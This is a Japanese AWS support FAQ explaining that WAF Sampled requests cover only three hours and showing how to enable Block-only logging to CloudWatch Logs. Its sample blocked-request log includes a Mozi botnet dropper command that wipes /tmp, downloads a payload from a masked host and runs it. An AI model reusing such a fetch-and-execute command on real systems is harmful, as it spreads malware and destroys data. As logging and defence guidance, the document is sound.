AWS WAF にて Web ACLs の overview 画面から Sampled requests を用いてログを確認しています。過去のログはどのような方法で参照できますか?

AWS WAF における Web ACLs の overview 画面で表示できる Sampled requests は過去 3 時間分のサンプルとなります。過去のログを参照するためには、明示的にログへの保存を有効にする必要があります。
2022.02.04

困っていた内容

AWS WAF サービスを利用しています。

Web ACLs の overview 画面で、Sampled requests を用いて、ブロックされた IP アドレスを確認しています。

過去のログを確認したいのですが、さかのぼることができません。どのようにすればいいですか?

どう対応すればいいの?

AWS WAF における、Web ACLs の overview 画面で表示できる Sampled requests はあくまでサンプルです。保持期間は最大過去 3 時間までとなります。過去のログを参照するためには、明示的にログへの保存を有効にする必要があります。

ログの有効化

今回は CloudWatch Logs へログを出力する方法を紹介します。

Logging and metrics タブを開き、Logging にて Enabled ボタンを押下します。

Logging destination にて、CloudWatch Logs log group を選択します。選択するロググループは「aws-waf-logs-」で始まるという命名規則があるため、別途作成をしておきます。

Filter logs にて、以下の画像のように設定します。これにより、結果が Block となったログのみ保存されます。

テストとして、AWS-AWSManagedRulesBotControlRuleSet に一致した場合に Block とするように Web ACLs のルールを設定してみました。

CloudWatch Logs に以下のログが生成され、bot からのアクセスが Block されていることを確認できました。(一部加工・マスクしています)

{
    "timestamp": 1643933274579,
    "formatVersion": 1,
    "webaclId": "arn:aws:wafv2:ap-northeast-1:<AccountID>:regional/webacl/test-acl/■",
    "terminatingRuleId": "AWS-AWSManagedRulesBotControlRuleSet",
    "terminatingRuleType": "MANAGED_RULE_GROUP",
    "action": "BLOCK",
    "terminatingRuleMatchDetails": [],
    "httpSourceName": "ALB",
    "httpSourceId": "<AccountID>-app/Test/■",
    "ruleGroupList": [
        {
            "ruleGroupId": "AWS#AWSManagedRulesBotControlRuleSet",
            "terminatingRule": {
                "ruleId": "SignalNonBrowserUserAgent",
                "action": "BLOCK",
                "ruleMatchDetails": null
            },
            "nonTerminatingMatchingRules": [],
            "excludedRules": null
        }
    ],
    "rateBasedRuleList": [],
    "nonTerminatingMatchingRules": [],
    "requestHeadersInserted": null,
    "responseCodeSent": null,
    "httpRequest": {
        "clientIp": "■",
        "country": "■",
        "headers": [
            {
                "name": "■",
                "value": "■"
            },
            {
                "name": "■",
                "value": "■"
            },
            {
                "name": "■",
                "value": "■"
            },
            {
                "name": "■",
                "value": "■"
            }
        ],
        "uri": "/shell",
        "args": "cd+/tmp;rm+-rf+*;wget+http://■:■/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws",
        "httpVersion": "HTTP/1.1",
        "httpMethod": "GET",
        "requestId": "■"
    },
    "labels": [
        {
            "name": "awswaf:managed:aws:bot-control:signal:non_browser_user_agent"
        }
    ]
}

参考資料

ウェブ ACL のテスト - AWS WAF、AWS Firewall Manager、および AWS Shield Advanced

よくある質問 - AWS WAF | AWS

5.リアルタイムメトリクスと Sampled Web Requests はどれほどの期間保存されますか? リアルタイムメトリクスは Amazon CloudWatch に保存されます。Amazon CloudWatch ではイベントを失効させる期間をお客様が設定できます。Sampled Web Requests は最大 3 時間保存されます。